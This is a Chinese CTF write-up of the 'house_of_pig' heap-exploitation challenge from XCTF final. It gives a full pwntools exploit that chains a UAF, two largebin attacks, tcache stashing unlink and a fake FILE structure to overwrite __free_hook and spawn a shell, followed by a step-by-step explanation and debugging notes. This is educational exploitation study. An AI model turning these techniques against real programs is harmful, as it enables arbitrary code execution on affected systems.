前言
很早之前就做了 xctf final 的 house_of_pig 这个题,不过一直没来得及分析,今天再看看代码分析一下。代码逆向部分主要参考house of pig详解_陈子政的博客-CSDN博客。
利用条件
1.largebin attack
2.UAF
3.tcache_stashing_unlink
largebin attack可参考house of pig详解_陈子政的博客-CSDN博客
这里说一下tcache_stashing_unlink的原理:先在tcache bin中放入5个chunk,再在smallbin中放入两个chunk。将最后进入smallbin中的chunk的bk指针修改为目标地址-0x10,再将目标地址+0x8的位置设置为一个指向可写内存的指针。
这里主要用到calloc函数,与malloc不同,这个calloc函数调用时不会从tcache里分配空闲的chunk,并且calloc会进行初始化。
由此,我们申请堆块时,就会触发tcache_stashing_unlink,将smallbin中的chunk连接到tcachebin中。
例题分析
漏洞分析
主要功能有申请,释放,编辑,打印。功能5是切换不同的角色。
在delete函数里存在uaf漏洞
在角色3中的add函数里多了一个gift,多申请一个大小0xe8的堆块。触发条件就是使用角色三创建五个堆块,在创建第五个堆块时触发。
在change函数中有一个md5加密,直接拿别的师傅解密过的用了。
exp
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
r = process('./pig')
elf=ELF('./pig')
libc = ELF('/home/ubuntulyp/桌面/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')
def info(a,b):
log.info("\033[0;33;40m"+a+hex(b)+'\033[0m')
def menu(cmd):
r.sendlineafter('Choice: ', str(cmd))
def add(size, content):
menu(1)
r.sendlineafter('size: ', str(size))
r.sendafter('message: ', content)
def show(idx):
menu(2)
r.sendlineafter('index: ', str(idx))
def edit(idx, content):
menu(3)
r.sendlineafter('index: ', str(idx))
r.sendafter('message: ', content)
def free(idx):
menu(4)
r.sendlineafter('index: ', str(idx))
def change(user):
menu(5)
if user == 1:
r.sendlineafter('user:\n', 'A\x01\x95\xc9\x1c')
elif user == 2:
r.sendlineafter('user:\n', 'B\x01\x87\xc3\x19')
elif user == 3:
r.sendlineafter('user:\n', 'C\x01\xf7\x3c\x32')
#--------------------prepare for tcache stashing unlink attack-------------
change(2)
for i in range(5):#B0-B4
add(0x90,'a'*0x30)
free(i)
change(1)
add(0x130,'a'*0x60)#A0
for i in range(1,8):#A1-A7
add(0x130,'a'*0x60)
free(i)
free(0)
change(2)
add(0x90,'a'*0x30)#B5
change(1)
add(0x150,'k'*0x70)#A8,0xc80
for i in range(9,16):#A9-A15
add(0x150,'a'*0x70)
free(i)
free(8)
change(2)
add(0xb0,'a'*0x30)#B6
change(1)
add(0x430,'a'*0x160)#A16
# #-----------------------leak libc and heap address-------------------------
change(2)
add(0xf0,'a'*0x50)#B7
change(1)
free(16)
change(2)
change(1)
show(16)
r.recvuntil("The message is: ")
libcbase=u64(r.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym["__malloc_hook"]
info("libcbase->",libcbase)
system=libcbase+libc.sym['system']
info("system->",system)
free_hook=libcbase+libc.sym['__free_hook']
IO_list_all = libcbase + libc.sym['_IO_list_all']
change(2)
show(1)
r.recvuntil("The message is: ")
heapbase=u64(r.recv(6).ljust(8,b'\x00'))-0x1eb0
info("heapbase->",heapbase)
#-----------------first large bin attack---------------------------#
add(0x440,'a'*0x160)#B8
change(1)
add(0x430,'a'*0x160)#A17
add(0x430,'a'*0x160)#A18
add(0x430,'a'*0x160)#A19
change(2)
free(8)
add(0x450,'a'*0x170)#B9
change(1)
free(17)
change(2)
edit(8,p64(0)+p64(free_hook-0x28)+b'\n')
print("free_hook--------------------------------",hex(free_hook))
change(3)
add(0xa0,'a'*0x30)#C0
change(2)
edit(8,p64(heapbase+0x3c00)*2+b'\n')
#----------------second large bin attack---------------------------
change(3)
add(0x380,'a'*0x120)#C1
change(1)
free(19)
change(2)
edit(8,p64(0)+p64(IO_list_all-0x20)+b'\n')
change(3)
add(0xa0,'a'*0x30)#C2
change(2)
edit(8,p64(heapbase+0x3c00)*2+b'\n')
#----------------tcache stashing unlink attack----------------------#
change(1)
fd=heapbase+0x2260
edit(8,b'b'*0x40+p64(fd)+p64(free_hook-0x20)+b'\n')
change(3)
payload = b'a'*0x18 + p64(heapbase+0x4540)
payload = payload.ljust(0x160, b'\x00')
add(0x440, payload)#c3
add(0x90,b'a'*0x30)#c4,one more
str_jumps=libcbase+0x1ed560
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1) #_IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff) #_IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heapbase+0x4620) #_IO_buf_base
fake_IO_FILE += p64(heapbase+0x4638) #_IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(str_jumps) #change vtable
payload = fake_IO_FILE + b'/bin/sh\x00' + p64(0)+p64(system)
r.sendafter('Gift:', payload)
gdb.attach(r)
menu(5)
r.sendlineafter('user:\n', '')
# gdb.attach(r)
r.interactive()
代码分析
change(2)
for i in range(5):#B0-B4
add(0x90,'a'*0x30)
free(i)
change(1)
add(0x130,'a'*0x60)#A0
for i in range(1,8):#A1-A7
add(0x130,'a'*0x60)
free(i)
free(0)
change(2)
add(0x90,'a'*0x30)#B5
change(1)
add(0x150,'k'*0x70)#A8,0xc80
for i in range(9,16):#A9-A15
add(0x150,'a'*0x70)
free(i)
free(8)
change(2)
add(0xb0,'a'*0x30)#B6
change(1)
add(0x430,'a'*0x160)#A16
这里先向tcache bin里释放5个0x90大小的堆块,然后释放8个0x130的堆块,其中A0堆块进入unsortedbin,通过计算大小,在申请0x90大小的堆块,剩下0x90在unsortedbin中,再申请一个大堆块让其进入smallbin中
同样操作再释放一个堆块进入smallbin中,注意这里为了不用再额外申请堆块泄露libc,第二次申请大堆块直接申请一个size在unsortedbin中的。
change(2)
add(0xf0,'a'*0x50)#B7
change(1)
free(16)
change(2)
change(1)
show(16)
r.recvuntil("The message is: ")
libcbase=u64(r.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym["__malloc_hook"]
info("libcbase->",libcbase)
system=libcbase+libc.sym['system']
info("system->",system)
free_hook=libcbase+libc.sym['__free_hook']
IO_list_all = libcbase + libc.sym['_IO_list_all']
change(2)
show(1)
r.recvuntil("The message is: ")
heapbase=u64(r.recv(6).ljust(8,b'\x00'))-0x1eb0
info("heapbase->",heapbase)
为了防止堆块合并,先申请B7,然后释放A16进入unsortedbin中,泄露libc和heapbase。
add(0x440,'a'*0x160)#B8
change(1)
add(0x430,'a'*0x160)#A17
add(0x430,'a'*0x160)#A18
add(0x430,'a'*0x160)#A19
change(2)
free(8)
add(0x450,'a'*0x170)#B9
change(1)
free(17)
change(2)
edit(8,p64(0)+p64(free_hook-0x28)+b'\n')
print("free_hook--------------------------------",hex(free_hook))
change(3)
add(0xa0,'a'*0x30)#C0
change(2)
edit(8,p64(heapbase+0x3c00)*2+b'\n')
这里进行第一次largebin attack,先将B8堆块释放进入unsortedbin中,然后申请一个大于B8的堆块将其放入largebin中,再释放一个小于B8的堆块进入unsortedbin,编辑B8的bk->nextsize为free_hook-0x28,再申请一个小堆块触发largebin attack,向free_hook-0x8的位置写入B8堆块的地址。
change(3)
add(0x380,'a'*0x120)#C1
change(1)
free(19)
change(2)
edit(8,p64(0)+p64(IO_list_all-0x20)+b'\n')
change(3)
add(0xa0,'a'*0x30)#C2
change(2)
edit(8,p64(heapbase+0x3c00)*2+b'\n')
同理这里通过largebin attack将_IO_list_all改为B8堆块的地址。
change(1)
fd=heapbase+0x2260
edit(8,b'b'*0x40+p64(fd)+p64(free_hook-0x20)+b'\n')
change(3)
payload = b'a'*0x18 + p64(heapbase+0x4540)
payload = payload.ljust(0x160, b'\x00')
add(0x440, payload)#c3
add(0x90,b'a'*0x30)#c4,one more
接下来触发tcache stashing unlink attack
先将smallbin中的堆块的指针修改,使其指向free_hook-0x20。注意这里的A8堆块是最开始被切割堆块的上一个,通过计算使其正好覆盖到smallbin中的堆块并修改指针。
我们实际修改的是0x562e82f7bbc0堆块。
此时我们看到由于unsortedbin和largebin中都有chunk,因此我们直接申请0x90的堆块是不行的,这里我们申请一个大小为0x440的堆块,首先unsortedbin判断不满足大小,将unsortedbin中的堆块放入smallbin中,然后再将largebin中的空闲chunk分配出去。
然后申请一个0x90的堆块触发tcache stashing unlink attack
这里特别注意一下这个0x440的堆块,它就是我们之前largebin attack中往_IO_list_all中写入的堆地址,因此我们要对这个堆块进行伪造fake file,使其chain指向我们布置的另一个file结构体的地址(也就是gift中申请的地址,接着往下看)
str_jumps=libcbase+0x1ed560
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1) #_IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff) #_IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heapbase+0x4620) #_IO_buf_base
fake_IO_FILE += p64(heapbase+0x4638) #_IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(str_jumps) #change vtable
payload = fake_IO_FILE + b'/bin/sh\x00' + p64(0)+p64(system)
r.sendafter('Gift:', payload)
gdb.attach(r)
menu(5)
r.sendlineafter('user:\n', '')
r.interactive()
这就是我们往gift创建的堆块中伪造的file结构体
地址正好是heapbase+0x4540 。
对于file结构体的构造原理:
将其 vtable 由 _IO_file_jumps 修改为 _IO_str_jumps,则原本应该调用 IO_file_overflow 的时候,就会去调用 IO_str_overflow。
看看IO_str_overflow函数的实现:
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
看到io_str_overflow调用了malloc,memcpy,free等函数。
size_t new_size = 2 * old_blen + 100;
size_t old_blen = _IO_blen (fp);
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
这里是new_size的计算公式,我们看到,只要合理控制_IO_buf_end和_IO_buf_base即可控制malloc的大小。
我们可以通过 IO_str_overflow 函数中的memcpy 写入到刚刚申请出来的包含__free_hook的这个 chunk,从而能任意控制__free_hook,将其修改为system,然后再布置其参数为'/bin/sh\x00'即可。在最后, IO_str_overflow会free掉_IO_buf_base指向的chunk,从而触发system。
调试一下
调用链:exit====>__run_exit_handlers=====>_IO_cleanup====>_IO_flush_all_lockp====>
_IO_str_overflow
si进入
si进入
si进入
si进入
si进入,这里rdi为最后gift申请的那个堆块
成功伪造size的大小,使其申请tcachebin中的free_hook-0x10位置的chunk
这里将_IO_buf_base指向的数据拷贝到了free_hook-0x10的位置
这时free_hook被修改成system。
并且rdi修改为'/bin/sh'
最后调用free函数get shell !